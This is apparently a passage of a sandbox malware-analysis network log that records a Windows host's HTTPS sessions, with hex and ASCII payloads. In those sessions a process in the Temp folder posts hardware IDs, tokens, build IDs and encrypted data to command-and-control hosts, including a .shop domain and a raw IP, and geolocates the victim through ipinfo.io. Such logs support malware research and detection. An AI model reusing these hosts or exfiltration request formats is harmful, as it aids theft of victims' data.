2024-05-24 11:43:30 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:30 UTC	2827	OUT	Data Raw: 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 Data Ascii: MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?l
2024-05-24 11:43:31 UTC	816	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4rjbtp4n6rvlqmmiehk03pqhef; expires=Tue, 17-Sep-2024 05:30:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LSFY9YH782%2FLNNyMCH%2FIF6lTyGOqRE0w%2Bfuyy4qzuvhS5midTTkhbVdl5tM6ueiS%2BkR1c6J3Rf5JDjd4rqbWNteaiHU5WkmdiIbLUCWk3Nv%2FoNBbTpVs5E5LeHzpNtxSazkO6G8ambjnyQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d074a4dab42cf-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:31 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:43:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	63742	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:31 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 13630 Host: employhabragaomlsp.shop
2024-05-24 11:43:31 UTC	13630	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:31 UTC	816	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5drsq1j6cib4kjnu04c8h195qo; expires=Tue, 17-Sep-2024 05:30:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DbwGLC0CzqOBHmwo%2BSkuruata7gEnTiFpXm3Xqj0ftYHM7%2FFHO8RTXjposIPcOKAxBQnVBjeIpkb7Apw7FweDeKjLxpKDq1j7KzP%2BPfEHtmEsPZbdP0eBwazsnh6EevM5NdQ3GW%2FOY%2BALw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d074b3b7f1895-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:31 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:43:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	63745	34.117.186.192	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:31 UTC	237	OUT	GET /widget/demo/8.46.123.175 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-05-24 11:43:31 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 24 May 2024 11:43:31 GMT content-type: application/json; charset=utf-8 Content-Length: 1028 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 11:43:31 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 Data Ascii: { "input": "8.46.123.175", "data": { "ip": "8.46.123.175", "hostname": "static-cpe-8-46-123-175.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Lev
2024-05-24 11:43:31 UTC	152	IN	Data Raw: 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: "email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	63744	34.117.186.192	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:31 UTC	237	OUT	GET /widget/demo/8.46.123.175 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-05-24 11:43:31 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 24 May 2024 11:43:31 GMT content-type: application/json; charset=utf-8 Content-Length: 1028 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 11:43:31 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 Data Ascii: { "input": "8.46.123.175", "data": { "ip": "8.46.123.175", "hostname": "static-cpe-8-46-123-175.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Lev
2024-05-24 11:43:31 UTC	152	IN	Data Raw: 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: "email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	63743	65.109.242.59	443	7456	C:\Users\user\AppData\Local\Temp\katDE8F.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:31 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDBGHIDGDGHCBGDGCBFI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 65.109.242.59 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 11:43:31 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 44 42 47 48 49 44 47 44 47 48 43 42 47 44 47 43 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 37 34 39 64 38 38 38 30 38 63 62 38 37 32 61 66 64 61 33 62 36 36 38 34 64 33 61 37 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 49 44 47 44 47 48 43 42 47 44 47 43 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 32 64 30 36 31 38 33 30 34 61 38 38 64 36 34 37 36 62 63 35 35 64 33 33 63 32 33 64 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 49 44 47 44 47 48 43 42 47 44 47 43 42 46 49 0d 0a 43 6f 6e 74 Data Ascii: ------HDBGHIDGDGHCBGDGCBFIContent-Disposition: form-data; name="token"8749d88808cb872afda3b6684d3a7eba------HDBGHIDGDGHCBGDGCBFIContent-Disposition: form-data; name="build_id"42d0618304a88d6476bc55d33c23d7e6------HDBGHIDGDGHCBGDGCBFICont
2024-05-24 11:43:32 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:43:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 11:43:32 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	63746	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:32 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18158 Host: employhabragaomlsp.shop
2024-05-24 11:43:32 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:32 UTC	2827	OUT	Data Raw: 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 Data Ascii: MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?l
2024-05-24 11:43:33 UTC	814	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=74t3m99se65unbcli9l7eaneie; expires=Tue, 17-Sep-2024 05:30:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hB67Ydlgp3hva5mz0JQsVq5R128ObiWgoai%2FvFBtSApSq8Yh2bmeX8ovDz13074QeBWPC5Ih8net5jN%2Bsun4IuUiY6%2FiewlSi06YduX62mY3JyT0ULFqV6u%2BGEtAHmYUVggrJ1cKwDKCTw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d07551a5e8c65-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:33 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:43:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	63749	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:32 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20432 Host: employhabragaomlsp.shop
2024-05-24 11:43:32 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:32 UTC	5101	OUT	Data Raw: 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-05-24 11:43:33 UTC	814	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i3285qlsqtivqj8srjn6a034bm; expires=Tue, 17-Sep-2024 05:30:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eueryN8R1r3XnkZy1wYUJDakNuPVbsH51rKGm%2B1vM%2FbhuyR1yLMFtYmRKpHSvCgL1NfqLK3R6GePFgYijsx1njdGUuv5n6QaakvV7nM3Cockk9Fd6%2B%2FpjrZxibVyOcG83ym15F2IvDn5RA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d07552dd68c2f-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:33 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:43:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	63752	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:33 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18158 Host: employhabragaomlsp.shop
2024-05-24 11:43:33 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:33 UTC	2827	OUT	Data Raw: 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 Data Ascii: MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?l
